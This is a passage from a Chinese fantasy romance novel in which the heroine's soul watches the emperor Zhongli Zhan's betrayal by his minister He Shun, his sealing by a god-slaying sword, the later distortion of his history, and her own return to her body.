云绡听见了钟离湛的一声冷笑,他道:【这世间,谁人能抵抗得了如此诱惑?】 云绡忽而醍醐灌顶,她明白过来所谓神明青睐,赐予长生仙力的意思了! 从这些密谋阴谋之人像是生怕旁人知晓他们是谁刻意披着黑色的斗篷去看,多像活了两千多年,对钟离湛无比了解,又作恶多端想要复活钟离湛的那个人! 长生,所以他才能从照国活到凌国时期。 仙力,所以他才拥有五族所有力量,会布阵,画符,驭兽,制造傀儡,还能迷惑人心。 云绡感觉到了灵魂深处传来的拉扯感,她不走!她不要这个时候走! 她要亲眼看看,究竟是谁,杀了钟离湛,成为天下人的叛徒!云上巨人的走狗!恩将仇报的畜生! 画面消散,尸水流尽,染红的土地上传来无数哀怨之声。 钟离湛身上的暗金色符文已至末端,在猎猎风中如同金粉一样消散得极快,他以长剑撑地,昂首看了一眼阴风阵阵,雷鸣轰动的天空。 【你最好能、一次杀死我,否则我手中之剑,便可诛神。】 说完这话,符文散尽。 云绡看见了轰隆隆的天空之上,似乎有无数根线伴随着雨水落下,每一根线上捆绑着的都是这世间每一个存活的生命。 钟离湛抬起手中之剑,轻轻一挥,悬在他身上的那根线骤然断裂,做完这一切他便弯腰猛烈地咳嗽,数口鲜血喷洒而出。 没有那根线,他便不受苍穹桎梏,云上巨人赐曦族的长生,也不再赋予他的灵魂。 云绡又一次亲眼目睹钟离湛倒了下去。 上一次是他耗尽气力封印了洛娥,这一次是他窥天断命,摆脱桎梏,倒在了被雨水冲刷的血地里。 “钟离湛!” 云绡想去操纵他的身体,可她使不出半点力气,那股抽离感如同催命的铃声,一遍遍在她的耳边响起,催促着她快点离开这里。 “钟离湛!你起来!钟离湛——” 云绡看见暴雨之下,数道黑影逐渐逼近,每一个人的身影都那么熟悉,恰是不久前云绡看见的那些人。 是他们要杀了钟离湛!是他们! 在那些人的身后,缓缓走上前来一个人,一群尚知自己所行羞耻的人里,只有那个人一身月白长衣,在暴雨中淋得湿透,脸上毫无遮拦。 云绡看见了他,瞳孔骤缩,心脏狂跳。 她该猜到的!她早就该猜到的! 可为什么? 为什么?! 若不是钟离湛,他们早就死了!他们受了钟离湛的恩惠,却每个人都拿刀直指他的后背! 云绡恨!她恨啊!恨自己此刻不是实体,不能提剑将这些丑恶之人全都杀死! 云绡拼命地挣扎,她想要将耳畔催魂 的声音打散,她想借助钟离湛的身体站起来!可不论她怎么也无法破除钟离湛在他身上留下的禁制。 每一次她动,都有股力量按捺住她的灵魂,而她无数次冲撞禁制,致使头脑浑噩,也没能撼动其半分。 她为钟离湛不甘! 就在来连玉州之前,钟离湛还在挑灯整理,将他对照国未来数十年的展望全都写入一张张信纸之中。他知道自己会死,他为照国,为百姓想好了后路,他将他所有信任,全都交托于眼前之人的身上。 何舜! 何舜!!! 云绡亲眼见到钟离湛为何舜做的一切,才更苦,更悲,更恨! “诛妖邪,才能定乾坤,何大人,这个时候你可不能犹豫啊。” 云绡听见何舜道:“一切,按计划行事。” - “君上,君上!” 钟离湛睁开了双眼,看着眼前熟悉的场景,一时愣怔。 漆黑的殿内只有一盏昏暗的烛灯放置角落,烛灯的光芒照在跪在钟离湛面前之人身上,钟离湛渐渐恍然,有些明白过来他这是又忘记了什么? 身体疲惫地靠在椅子上,他的右手搁置于椅榻的扶手处,目光扫过桌面上摆放的奏折,眉头紧蹙。 心绪发闷,钟离湛抬手轻轻按在心口的位置,他的身上有禁制! 这一发现叫他将殿中不太对劲的地方都忽略过去,而是伸出左手,在右手掌心画出符文,再缓缓握紧拳头,想要试探一番这禁制是谁给他下的。 他怎么毫无印象? 另一边跪地之人抬起头,他背着烛火的光芒,叫人看不清神情。 “君上,湖族金氏正在殿外候着,君上预备何时唤她进殿?” 何舜的声音打断钟离湛查探身上禁制的思绪,他抬眸看向神色不明的何舜,问:“湖族?金氏?” “君上是又……君上何时睡过去的?”何舜毕恭毕敬地问。 钟离湛仔细想了想,他也不记得自己究竟何时睡过去的,他这段时间的记忆十分模糊,似乎发生了很多,凌乱的画面交织在一起,他只记得自己已经解决完了月坛之事,回到了王宫。 但关于月坛上他究竟看见了什么,也忘得一干二净。 钟离湛还有一段纵马疾驰的记忆,却不记得自己要去何方,而且他若离开了王宫,此刻又为何会身处寝殿之中? 莫非是纵马疾驰的记忆是很久之前的,与他后来的记忆错乱了? 何舜道:“月坛的确早已盖建好,君上命我等善后便回王宫了,不过君上从回来之后似乎一直在找什么人,臣根据君上的描述在湖族寻到了金氏,她或许……就是君上要找的人。” “找人?”钟离湛完全没有这方面的记忆,不过他也知道自己一旦失忆,便是过去很多年也未必能想起。 “金氏,是个女人。”何舜微微抬眸,看向钟离湛道:“坊间传言,她生来不凡,似乎与生俱来便擅符咒之术,为湖族百姓解决了许多麻烦,且貌若天仙,湖族坊间还给她起了个称谓。” 钟离湛的双眼仍是疑惑的迷离。 何舜道:“他们叫她,小仙女。” 狐狸眼中闪过一瞬的惊诧,小仙女?! 是她吗? 她是湖族人? 不,不对!她和他一样,分明是曦族的! 且不论小仙女是湖族还是曦族的,他又是为何会让何舜寻找小仙女? 还是在他失忆的这段时间里,在去月坛时小仙女来过?来过又走了,也带走了他去月坛窥天的重要讯息,所以他回到王宫的第一时间便要寻找小仙女的踪迹? 钟离湛满心疑惑,可小仙女这三个字的确让他彻底从失忆的恍惚中清醒过来。时间似乎已经过去很久了,他的预感告知他,有什么事情他迫切地要去做,所以何舜此番找来的金氏不论是不是他要找的人,都得见一见。 “君上可要一见?”何舜又问了一次。 “传她入殿。”钟离湛说完,何舜便退了下去。 钟离湛看着何舜退下的身影,再看向周围黑漆漆的屋子,那一盏烛火能照到的地方全都是按照他的记忆摆放的,不过这里应当不是他的王宫寝殿。 身下椅榻的扶手下方,没有他刻的符文,身前桌案上的奏折卷轴摆放,也像极了他离开王宫前往望月山亲自监督月坛盖建前的样子。 两排八根梁柱上的字迹像是拓印上去的一样,深浅不一,地上铺着的砖石也太新,随着何舜开门出去的那一瞬,隐隐有血腥气顺风而来。 钟离湛展开掌心的符文,他的禁制居然连他自己都防,看来在他这一次失忆之前一定发生了什么重要的事。他不是破不开身上的禁制,只是既然他自己防了自己一手,便是提醒失去记忆的他,不可妄动。 袖摆上隐约可见暗金色的符文残迹,他不但给自己下了禁制,还在衣裳上画下符文。 他的身上有什么?有什么是要紧紧地藏起来,不能被人知晓的? 莫非是—— 殿门吱呀一声被人推开了半扇,殿外的天是黑色的,昏暗的微光下殿门处只有一道纤弱的身影,那人穿着橙红色的衣裙,在暗夜里尤为显眼。 看见这抹颜色,不知为何钟离湛的心中生出了一股异样的感觉,一些凌乱的画面在他的脑海中一闪而过,似乎有一道声音分化成了两种完全不同的情绪,于他耳畔交谈着。 ——“你总是穿玄衣,是因为玄衣威严吗?” ——【是因为我以前总是杀人,只有玄色不会被血色染脏。到我问了,你喜欢什么颜色?】 ——“橙红啊,是火焰燃烧的颜色。” ——【为何喜欢?】 ——“因为火焰能伤人,也能杀人,我希望自己能和火一样,谁也不敢招惹。” 火焰的颜色。 那道纤弱的身影就站在殿门外,她没有靠近。 钟离湛豁然起身,越过桌案,步下高台。 他每一步靠近,都让殿门外的女子心脏狂跳,那句话无数次闪过她的脑海,她尽量控制着自己的声音不要发抖。 少女扬声道:“钟离湛!你终于找到我了。” 他们说,她只需要说这一句话便可以了,她只要站在殿门外,亲眼目睹那位曦帝自愿踏入阵眼之中。 这世上,谁人敢直呼曦帝的名讳?以你我相称? “小、仙、女?” 钟离湛听着那道陌生的女声,直觉不对,他好似曾经听过小仙女的声音。在她的魂魄被洛娥逼出他的身体,打回她原本应当存在的世界之前,她急切地叮嘱他一定要弄明白这世间真相。 那个声音不是这样的,那个声音才像是热烈燃烧的火焰,对他没有畏惧,没有疏离,她喊他的名字,就像是已经那样称呼过他千百遍。 钟离湛脚步一顿,他的声音骤然冷了下去,伴随着威压凛冽道:“你是何人?” 纤弱的身形微微一颤,这一瞬她就像是已经被那双眼看透。钟离湛周身气势逼得她喘不过气来,越来越恐惧,越来越害怕,仿佛死亡就在跟前。 女子心中慌乱,又想起来他们的叮嘱,若只差几步,便转身就跑! 橙红色的身形在殿前一闪而过,钟离湛本能地追上去几步。 咚咚—— 心跳声骤然急促,钟离湛刹那像是被人捂住了口鼻,无法呼吸。而他再次抬头,殿门外晃动的影子并非树影,昏暗的夜色下,那更像是飞扬的旗帜。 手比结印,虚空画符,钟离湛双指并拢划过双目。 再睁眼去看。 难怪周围一片漆黑,满殿符文咒印,皆是杀术,而他身处阵眼中心,已经步入圈套。 那些符文咒印像是漆黑的鬼虫,扭曲缠绕,步步紧逼,掠夺殿内所有生气。 六杀阵,摄魂咒。 只要是阵中魂魄,都会被它绞杀! 第118章 云绡眼看着钟离湛清醒过来,又失去记忆。 她已经知道究竟是谁想要致他于死地了! 不是何舜,不是曾经钟离湛庇护救助过后又背叛他的那些人,他们身上与天相连的线仍然在,他们不过是那些云上巨人掌控的棋子。 真正想要杀死钟离湛的,从来都是把苍生当成棋盘,搅动风云,以杀戮与争斗为乐的神明。 他们早有预谋,以长生和五族之力为诱饵,引出人心中最大的贪婪和欲、望。 因为他们不能直接干涉人间某个人的生死,那是他们摆下棋局时便设定的规矩,所有不守规矩者都会和洛娥一个下场,自食恶果堕下凡尘,在岁月的洪流中化作一粒与这世间草木一般无二的尘埃。 棋局还没下完,五族并未分出谁胜谁负,所以他们不允许钟离湛这个异象破除棋局,也不允许任何一颗棋子跳出棋盘。 真正能杀死钟离湛的,不是困住他脚步的六杀阵,也不是这虚假宫殿满墙的摄魂咒,而是百姓的怨怼,族人的谩骂,至亲的误解,还有亲信的背叛。 他曾施恩于天下,天下以污名冠于他。 这才是杀死钟离湛的利器! 那些身穿黑色斗篷的人,身上集齐了各族烙印,何舜是最后一个,他代表着人族,五族齐聚,缺一不可。 他们将钟离湛诓骗至此,布下天罗地网,趁着他浑噩不清之时用他心中在意之人的影子将他引入必死之局。 于此间天道而言,钟离湛即便生来二百余年做过再多的善举,行再多利国利民之策,他也仍然是被五族皆弃,人人得而诛之的暴君。 那抹橙红色的身影出现在殿门外时,云绡所有的挣扎、愤怒、痛恨、不甘,在这一瞬间变成了恐慌与绝望。 那个披着她影子的女人喊他钟离湛。 她在呼唤他走向死亡。 云绡想要唤醒钟离湛 ,她在他的身躯中惊声尖叫,夜里裹挟着血腥气的风吹散了她所有理智,也吞没了她所有声音。 云绡看见了自己的魂魄化成了钟离湛心头的一道剪影,她的四肢百骸上都有金色的符文流动,那是钟离湛为了保护她的禁制,是他哪怕苏醒后忘记一切,能够破除,却也遵循本能而护住她的咒文。 ——她不是我!别过去! ——不要相信何舜,不要走入他们设下的死局! 这对云绡而言太残忍了,她的身上被加印着一层层枷锁,她被禁制束缚到亲眼看着钟离湛踏入了阵眼,无法动弹……她还要目睹他的死亡。 云绡不知道魂魄是否能落泪,此刻她只觉得自己双眼模糊,一层猩红蒙住了视线,入目所见的一切都像是重叠的虚幻的影子。 她知道他会死,她知道历史所有的走向,她知道她的魂魄离开这里,就能回到钟离湛的拥抱里。 可她仍然痛苦,仍然害怕,仍然心如刀割。 云绡在心中一遍遍唤着钟离湛的名字,她想让他解开她身上的禁制,她想让他听到她的声音……如果无法避免,如果这是他一定会走的一条路,那至少让她告诉他,她会出现在他的生命里,并且永远不会伤害他。 - 宫殿内,摄魂咒步步紧逼,六杀阵下无数哀怨的鬼魂将手探出地面,他们的手一层层叠加,抓住了钟离湛的脚踝、衣袂,甚至从下往上攀爬,扯上了他的腰,妄图束缚住他的胳膊。 那些血腥与杀戮气息,生拉活拽一样从钟离湛的身上掠夺灵气,将他这两百多年积累的所有功德一一吞噬。 虽是被人欺骗,可却是钟离湛自己步入了六杀阵的阵眼,这代表他自愿奉献出自己的一切,也唯有如此,那些居心剖测之人才能将他困在这里。 钟离湛走不了,他才斩断与苍穹的联系,他的身体愈发憔悴,他灵魂深处的精炁甚至都成了一汪即将干涸的泉,只剩支撑着他屹立不倒的零星几滴。 钟离湛恍惚了瞬,他知道他的精炁去了哪里,他去过了月坛,他看见了过去。 纷乱的记忆如同展开后又迅速燃烧的画卷,在他脑海中寸寸铺平,其上画面一一于眼前闪现。 满墙摄魂咒如同千万根针一样穿过他的身躯,掠夺他灵魂的力量,要将他彻底绞杀。 被戳穿的灵魂上的疼痛和身下传来的力量如同要绞碎他的巨蟒,拖拽着他一步步往下沉去。 足下崭新的石板碎裂,石板的缝隙里溢出了腥臭的鲜红,那些血迹染上了钟离湛的鞋面,再到他的衣袍,它们要将他彻底拉入永远也无法翻身的深渊。 钟离湛在周围画了无数张符,他想要自救,他调动身上所有的气力,运用所剩无几的精炁,在整座大殿的地面上铺成了一张细密的符网。那些网化成了交织的线,缠绕在他的身上,与他身下拖拽的力量抗衡。 两股力量像是要将他彻底分裂,钟离湛再坚强,痛呼声也忍不住溢出唇齿,连带着嘴里咬出的血沫,一滴滴落在前襟。 痛! 实在是……太痛了啊! 可他仍然不屈,不甘! 他为何会出现在这里? 何舜为何要骗他? 钟离湛在这一瞬忘记了自己的身上还有禁制,他想要将双腿从深渊中拔出来,他的心中惶惶不安,而后他察觉到了心头出现了两种完全不同节奏的心跳。 咚咚、咚咚—— 那些冗杂在一起的记忆于某一刻骤然清晰,钟离湛突然想起来自己身上的禁制从何而来。奔腾的马蹄声在他耳畔掠过,时光仿佛于他的眼前倒回,让他将这数月忘记的记忆悉数回想起来。 心头的声音带着颤抖的哭腔,是他曾经听过的熟悉的女声,她就在他的身上,他的禁制要保护的……是她! 轰隆隆的雷鸣声骤然响起,束缚着云绡灵魂的禁制消失,那道追随她而来的劫难即将到来,钟离湛心头一痛,又满是慌乱。 他想起来了,那些被刻意压制的,被抹去的回忆纷沓而至。 钟离湛记起了他踏上月坛时看见的过去,也记起了他步下月坛时看见的未来。 呜咽的哭声在他的心头荡开,云绡并未发现她身上的禁制已经因为钟离湛的力量消散而被解除了,她无力地闭上眼,一遍遍地喊着钟离湛的名字。 钟离湛听着她的声音,明明才只是他听见的第三次,却像是已经无数次在他耳畔响起过。 在他步下月坛时看见的那些画面里,他见过她的面容,她和他设想的长得一点也不一样。他以为和他灵魂如此共鸣契合的女子,应当也与他一样随性洒脱或凌厉朗正。 可其实她长得很可爱,稚气未脱的少女,却是他见过的最聪明的人,将他耍得团团转。 他短暂地感受过她的拥抱。 他听到她的声音娇娇地唤他哥哥。 他的灵魂上,也有如她一样明媚如火焰的颜色。 钟离湛分明没有经历过那些,可他仍然放慢了脚步,想要细看她再久一点,但月坛上附着的力量渐渐消失,他的记忆也变得模糊。 如今那些模糊的片段,如同镇定他神魂的法咒。 钟离湛听着近在咫尺的雷鸣声,在大殿内燃起了一把火,封住了所有妄图进入殿内的道路,结界阻隔了雷霆靠近。 - 何舜满脊的汗水几乎将他的衣裳浸透,他听着殿内钟离湛传来的痛呼声,忍不住想要上前,却被身边的人拉住。 他们劝阻他,剥离侵占钟离湛身体的灵魂一定是痛苦的,这说明他们殿中画下的摄魂咒起了作用,只要等钟离湛身体里的魂魄彻底被撕碎,他们再过去也不迟。 何舜的心中满是慌乱,他知道这个计划其实漏洞百出,这些人也定然各怀鬼胎,可他仍然愿意与他们合作,因为他知道钟离湛的身体里的确有另一道魂魄。 短暂的安静之后,殿内燃起了火光,那些极力隐藏面容其实早就在何舜面前暴露的黑袍人们紧张的围绕着大殿乱转,也不知他们想起了什么,心下大定,突然就不再靠近火光了。 何舜越想心越乱,他一时忘记了呼吸,直到胸腔憋得发疼,直到天空雷声滚滚,直到那簇火焰烧至房梁,钟离湛也没出来。 “君上!” 何舜终于忍不住,他摆脱几人的拉扯,朝独那一处的宫殿奔去。 没人拦着他。 他听见身后人的声音,带着嘲弄与释然。 “剑悬于脊上,钟离湛必死无疑。” “任他去吧,就让他给曦帝陪葬。” - 云绡看见了火光,感受到了炙热,没有禁制的保护,大殿墙壁内的摄魂咒对她的魂魄也起了作用,像是有无数毒蛇朝她逼近,顺着她的四肢百骸缠绕上来。 云绡止住了哭声,抬眸看去,入目所见是一片旺盛的红,她好似在某个时刻做过同样的梦境。 火光冲天,遮蔽了周围一切,云绡几乎要听不见钟离湛的声音 了。 他的禁制将她困在他的身体里,没有被此间天道发现,可也让那催促着云绡回去的铃声无计可施。 而今禁制散去,雷霆发怒,云绡听到的便是催魂的铃响,顺着她的耳朵直达心头,她身上的抽离感越来越重,魂魄被摄魂咒撕扯得也越来越疼。 “钟离湛。” 云绡发现自己的魂魄终于能动,她有许多话要和钟离湛说,可才只是开口喊了他的名字,便感受到了与他相同的疼痛。 她的五感回笼,她嗅到了他身上的血腥味,他的身躯已经大半没入血腥的泥土之中,钟离湛已经没再挣扎了。 【我没力气了,小仙女。】 钟离湛说这话时,两只手还对着结界中的虚空画下咒文,那些密密麻麻的咒文云绡曾在卷轴上见过。 她心下一片凄凉,她知道钟离湛此刻不想浪费任何时间,他用火光封住外面那些人的道路,用结界阻拦外界一切感知,就是为了能写完这些咒文,能短暂地护住她的安全。 结界内,暗金色的咒文凝聚在一起,成了半透明的斑驳的墙,墙之外,火光中有道人影挣扎着往殿内奔来。 结界本应当阻隔所有的声音,可云绡仍然能听到有人在喊君上。 她认真看着的咒文不知何时已经近在咫尺,云绡一怔,垂眸看去。 她的魂魄已经离开了钟离湛的身体,那些铃声戛然而止,她知道这是她必须要回去的时刻。 云绡垂眸,她看见了被血色红泥覆盖身躯的钟离湛,他的发丝凌乱,面色苍白毫无血色,唯有额心的一线红痕如同沁血一样,他在消耗他神魂的力量,也要完成这场咒。 钟离湛似有所感,抬眸看来。 他的手指微顿,那金灿灿的符文之中似乎有道模糊的影子。他的火符避开了她,不忍伤她半分,反而勾勒出了她灵魂的模样,和他记忆里的无比相似。 结界破了。 钟离湛的身躯又往红泥中陷入几分。 他的手轻轻推开了眼前的咒文,那些金色在他触碰的一瞬间骤然碎裂,爆裂的金光像是星河火花。 荡开的气劲削弱了殿内的大火,却引得雷声阵阵,一场暴雨倾盆而下,劈里啪啦地落在世人的身上。 钟离湛的双眸还在看着云绡,他的手指虚空朝那火光中的剪影点了点,好像这样就能触碰她。 实际上他只感受到火焰吞没皮肤的灼痛,他甚至不知道她还在不在了。 高悬之剑在那场暴雨倾下之际,骤然从云端坠落。 锋利的剑身上附着的力量势如破虹,剑身从云绡的眼前闪过,她看见了上面片片碎裂的银粉化作的两个字。 ——诛神。 不是斩魂剑! 是他们要斩除威胁,是他们不相信这世上有一个人真的能在濒死之际斩断了他们棋局的一角,是他们感受到了恐惧,避开天道对钟离湛实施打压。 他们终究还是亲自动手,要杀了他! 云绡的魂魄随她的意识而动,她不想让钟离湛死,她知道这场雨的意义,知道钟离湛在死前写下的三千咒文的用意! 世人说,那是杀神对曦族的诅咒,让曦族人寿渐短,从此活不过百年。 其实不是的! 这一场暴雨中每一滴附着的咒文从天空洒向凡尘,沁入土地,破除了云上巨人对所有曦族人的掌控。 他不是诅咒了曦族人,他用自己的生命,挽救了他的族人。 他不该死的!他也不能死! 云绡想,他若这一死,后续两千年,那些谩骂诅咒,那些污名误解,就统统洗不清了! 云绡舍不得,她舍不得钟离湛做了这一切,还要在每一年的圣仙节被鞭笞嘲弄,她不舍得他被封在禁地深处,被世人立下永无光明的坟冢,沉睡在历史的罪恶里。 即便她回不去,即使她会魂飞魄散,即使她或许永远也不会出现,她也舍不得。 是钟离湛给了她自由,是他让她吃饱了肚子,是他告诉她痛了要揉一揉……是他教会了她爱,让她知道,纵使人生多苦难,她也可以活得快乐,无需为他人之恶,厌弃世间。 是他给了她活着的意义,那她想让他活,又有何不可?! - 长剑穿魂而过,钟离湛似乎听到了一道凄厉的痛呼声。 诛神剑坠入钟离湛的脊骨,将他牢牢封印在原处。 【绡绡!】 钟离湛抬眸,随着长剑没入身躯,他的五感随之消散,他没有看见云绡,而后什么也听不见,什么也感知不到。 那双沁血的狐狸眼不甘地合上,头颅低垂。 宛若死亡。 第119章 云绡看见了自己…… 在她义无反顾朝诛神剑下撞去时,她感受到灵魂的疼痛,可那把剑并未贯穿她的魂魄。 它沿着云绡的魂魄擦出了一道足以让她痛呼出声的伤口,刹那的疼痛之后,她眼前一切场景全都发生了改变。 时间流逝得很快,所有事物的发展在她一个眨眼之后就过了百年。 钟离湛还是沉睡了,那把剑将他封印在红泥之中,谁也不敢动他,谁也不敢靠近。只有一些湖族人受了点拨,将那里变成了钟离湛的坟冢,盖建了让他永世不得翻身的神霄塔。 再后来,那些背叛钟离湛的人也都没能得到神明的眷顾。 他们用钟离湛杀了无数恶人,自诩正义的剑,将钟离湛钉在罪恶染红的泥沼里。 而彼时大殿着火,唯一一个冲入火海,不断喊着“君上”妄图找到钟离湛,将钟离湛带出去的那个人,获得了他们给予的长生和五族之力。 云上巨人很会玩弄人心,他们的恶趣味地挑拨了凝聚在一起杀死钟离湛的那些人。 他们都没能得到自己想要的。 尾人族愚蠢,旖族势微,曦族又在钟离湛的祝愿下摆脱了长寿和苍穹对他们的桎梏。代表着人族背叛钟离湛的那个人,自大火燃殿之后就不知所踪,最后坐上帝位的是湖族人。 那名穿着与云绡相似衣衫的女子,被他们称之为圣仙。 他们不会承认自己背叛了钟离湛,便将一切都美化成了神明怜悯苍生在暴君的统治下食不果腹,于是赐神力于湖族少女,叫这少女杀了钟离湛。 湖族需要这样的标记,来证明自己是被天道选中的,好让他们名正言顺地建立新的王朝,彻底推翻照国余辉。 圣仙之名,也可以让湖族在接下来很长一段时间里都被其他几族拥护,那名少女永远在他们的眼皮子底下,成为他们谋取名望的傀儡。 历史,由胜利者书写。 于是他们将钟离湛塑造成了一个青面獠牙的恶鬼,可他们之间的斗争从来都没有停止过。 那些不足百年的兴盛再到衰败,那些更换王朝的掠夺和征战,才是云上巨人想看见的。 从那之后,曦族不再与外族通婚。 世人说,他们是被钟离湛诅咒了,他们都说钟离湛果真是个吃人的杀神,就连自己的族人他都不放过,还要在死前拉曦族一并下地狱。 可只有曦族人自己知晓,自斩断与苍穹关联,他们安居一隅,避开了战争和挑衅,不再和那些阴晴不定的其他几族相处,他们其实可以过得很好。 除了那些仍然在污化钟离湛的氏族。 辽辽曦族,地广物博,氏族之所以能那么多年屹立不倒,恰是因为他们长寿。越是长寿,氏族的力量就越是盘根错节地庞然。 可当他们有一日也与寻常人一样生命短暂,百年之后尘归尘,土归土。曾经在百姓眼里不可撼动的巍峨高山,轻易于时间洪流里摇摇欲坠,甚至无需他们动手,便自动瓦解。 一鲸落,万物生,一个庞然的氏族湮灭,代表着他们手中的资源几乎平等地流入了百姓的生活里。 即便在曦族领地里,仍然有人痛恨钟离湛,仍然有受病痛折磨者不甘生命消逝,妄想过如果他们还能再活久一点就好了,活到一千年,两千年…… 但在曦族古殿的历史记载中,即便对钟离湛只提到了寥寥几句,也不是恶言。 或许只有他们自己才能看明白,曦帝崩的那一日,天降甘霖。 从那之后曦族的土地上能长出茂盛的树,艳丽的花……堆土成山,风过留香,他们土地肥沃,物资富饶,诅咒,也就不再像是诅咒了。 这也是符玉城中百姓经过了两千多年,占据绝大部分的城池,也仍然给钟离氏之后留有一席之地的缘故。 钟离湛死的前两天,王宫内外热闹非凡。 举国以马鹿为祀,火符为焰,成熟的瓜果数十车,推入大街小巷,家家户户的桌案上都能放下几颗泛着清甜香气的果子。 时间流逝得太快,快到记得真相的人越来越少,而历史的记载里,相信湖 族的人越来越多。 那是云绡给钟离湛准备的生辰宴,后来变成了欢庆他死去的圣仙节。 然后,云绡看见了她自己。 画面转变得太快,她的灵魂突然就被带回到了一个熟悉的环境里。 云绡的印象深处,她曾在这所宫殿里住过一段时间。 而此刻,颇为受宠的妍妃正在痛苦地生产,云绡看见她冷汗涔涔,不断哀嚎,望向自己隆起的肚腹眼神痛苦又痛恨,厌恶又悲哀。 云绡早就知道,在她猜出景妍是曦族长老之后,她就知道景妍并不高兴她的出生,而对方一直以来对她的厌恶,也不是因为生下她让自己的肚子上爬满了可怕的纹路。 可此刻云绡看着景妍眼底的怨恨,她还是觉得苦涩,倒不是她对景妍还心有不甘,而是她的心变得柔软了。柔软到,她为尚未出生的自己感到可悲。 云绡亲眼见证了自己的出生。 灵魂被诛神剑划开的伤口,于此刻后知后觉地传来了疼痛,云绡看着赤条条还沾染着血迹的自己,助产的嬷嬷将她翻了过来,拍着她的背想让她哭。 云绡看见她的脊骨处,一道淡淡的红痕仿佛薄纸划破的伤口,细微的伤口里,祝咒浅浅,汇入了她的身躯。 嬷嬷咦了声,伸手抹了一下,连带着她身上脏污一并抹去。 婴孩的背上光洁,没有半点痕迹。 云绡却知道自己没有看错,她认得那祝咒的字迹,也知道那道痕迹的位置,恰好就是诛神剑划破她灵魂的地方。 钟离湛说……她的身上有剑意,只有她才能拔出将他封印于禁地之下的剑,也只有她,能唤醒沉睡数千年的他。 那道剑意,尚未斩杀它的主人便擦过云绡的魂魄,而钟离湛的剑,不论由谁支配,都不会滥杀无辜。 那是附着在剑上的力量,是钟离湛的慈悲,叫她灵魂上的伤口跨越两千余年,补偿于她。 所以她从来受伤都能很快愈合,所以……是钟离湛救了她,也只有她能救钟离湛。 一切,皆于冥冥之中的注定。 这才是苍天不忍,给予钟离湛的一线生机- “绡绡!” “绡绡——” 呼唤声由远及近,云绡听到这道熟悉的声音时还有些恍惚。 她是在听到婴孩时期的自己发出了第一声啼哭时眼前一黑,五感尽丧,昏厥过去的。 而后魂魄浮浮沉沉,仿佛在黑暗中度过了很长时间,可比起从她眼前一闪而过的两千多年来看,那点儿黑暗又微乎其微。 听觉率先恢复,紧接着便是嗅觉和触觉。 云绡闻到了草木的清香,身体好像躺在柔软又坚硬,温暖炙热的怀抱中。 她拨开遮挡视线的那一层黑雾,缓慢睁眼,看见了近在咫尺的脸。 入目撞上的是一双担忧的狐狸眼,钟离湛的眉头紧锁,即便云绡已经醒来了他也仍然不放心。 云绡对上钟离湛视线的那一瞬,不知今夕何夕。她记得她往诛神剑下冲过去时也看见了钟离湛的双眸,彼时火光冲天,他可能看见了她,也可能看不见她,但那一眼他们视线相汇。 此刻见到了心心念念之人,云绡的心仿佛又回到了那濒死的紧张时刻,她想动弹可四肢无力,钟离湛的脸也只是在她的视野中一闪而过。 紧接着,一张放大的皱巴巴的脸就出现在她的面前,几乎挡住绝大部分的光线,还有一把粗糙的花白的胡子掉在她的脸上,扫过她的眼角,痒得很。 “云绡,你终于醒了啊!” 仲卿的声音带着些许颤抖,一边激动地说话,那胡子就一边扫着云绡的脸。 “哎呀你可担心死我了!这九星连月阵今后可不能再用了啊!谁知道居然还会出现魂魄出去了回不来之怪事。你不知道三天过去星象更改你却还没有消息时,你那脸有多臭啊……” 仲卿嘴里的“你那脸”是当时魂魄附身在云绡身体里的钟离湛的脸色。 云绡的脑子还一片嗡鸣呢,乍一醒来就要听仲卿的魔音灌耳,她感觉自己的头脑像是挤入了一堆浆糊一样,堵塞昏沉。 思绪迟钝,身体僵硬,情绪也迟缓地浮上来。 “闭嘴。” 好不容易能开口,云绡想先安静一会儿。 她的声音实在太沙哑太轻了,不过仲卿离得近,还是听见了。 仲卿没再说话,那颗在云绡看来近在咫尺巨大无比的脑袋也没有挪开,长湖子刮得云绡脸痒,仲卿那张老脸也看得云绡眼疼。 但她没有闭上眼睛,因为……挺亲切的。 她好像在悠远的时间长河里度过了漫长的时光,在月坛上看见了照国之前的千年时光,又在钟离湛被诛神剑封印之后经历了起伏多变的两千多年。 似她活了那么久,又似她看遍了不属于她的不同人的一生,纵使灵魂游过,也太虚太空。但云绡还是回到了她生长的地方,她该在的时空。 所以,她能稍微忍受一下仲卿。 “把你的脸挪开。” 只是稍微,也只是一下。 仲卿哦哦了两声,往后退了两步,捏着自己的胡子道:“我也实在是太激动了,你可不知道你睡了足足十六日,吓得我还以为你再也回不来了,唉……老夫为你流过泪啊,十一殿下。” 云绡:“……” 她听见了,但她把仲卿的话抛诸脑后,不想理会他。 云绡又一次看见了钟离湛的脸,背对着阳光,暖阳在他的头顶上形成了一层神圣的光圈,将他锋利的轮廓柔和下来。 那双冷凛的狐狸眼微微泛着红。 她初睁眼时从中看见的无助、伤心、担忧和隐隐抑制不住的戾气,也都在仲卿打岔之下,变成了如水的温柔。 云绡不知道钟离湛这十多天是怎么过来的,每一日都让他备受煎熬。 九星连月阵三日星辰便会回到原点,那个时候云绡的魂魄就该回来了。 可钟离湛在云绡的身体里昂首看着夜空渐渐过去,天边泛白,熟悉的气息久久未至,掐指也算不出云绡的魂魄归于何处时,他只觉得眼前一黑,几乎魂不守舍。 踉跄了两步,钟离湛没敢动,一整个白天的煎熬,让他晚上再一次移动星局,不敢有任何松懈。 三天又三天,云绡还是没回来。 之后又过了三天,就连仲卿和徐容靳都在望月山上闹了一通回来了,云绡仍然没有半点归来的踪迹。 钟离湛没有附身在她的身上,他怕因为自己占据着她的身体,所以才让她的魂魄迟迟没找到归途的轨迹。 钟离湛抱着云绡的身躯就坐在皓月之下,每一次星局的转变,都让他冷汗涔涔,仿佛死了一回。 他没敢动,九星连月阵从启阵时起他就没离开过那方寸之地,一次次移星之法让钟离湛几乎看不见希望,每一次到了星辰归位之时他都屏息等待。 等待之后,皆是空妄。 直到这一次,星辰变化,若按照三日来算,云绡应当会在后天夜里归来,可这个白天,暖阳当空,钟离湛突然算到了云绡魂魄的异动。 她一直都在他的怀中,灵魂归位时钟离湛劫后余生,但云绡没那么快就醒来。 她好似梦魇了一场。 这些天仲卿和徐容靳拜了诸天神佛,徐容靳甚至朝钟离湛的背影磕了三个头。 他想着杀神好歹也是神,他们实在无计可施了。 故而云绡睁开眼时,仲卿会那么惊讶,一下子凑上前去喋喋不休。 徐容靳其实也想凑过去,但仲卿看不见钟离湛,他能看见。那颗烧焦了泛白的眼珠子里,钟离湛的脸色变得尤为可怖,盯着仲卿的后脑勺仿佛他就是个死人。 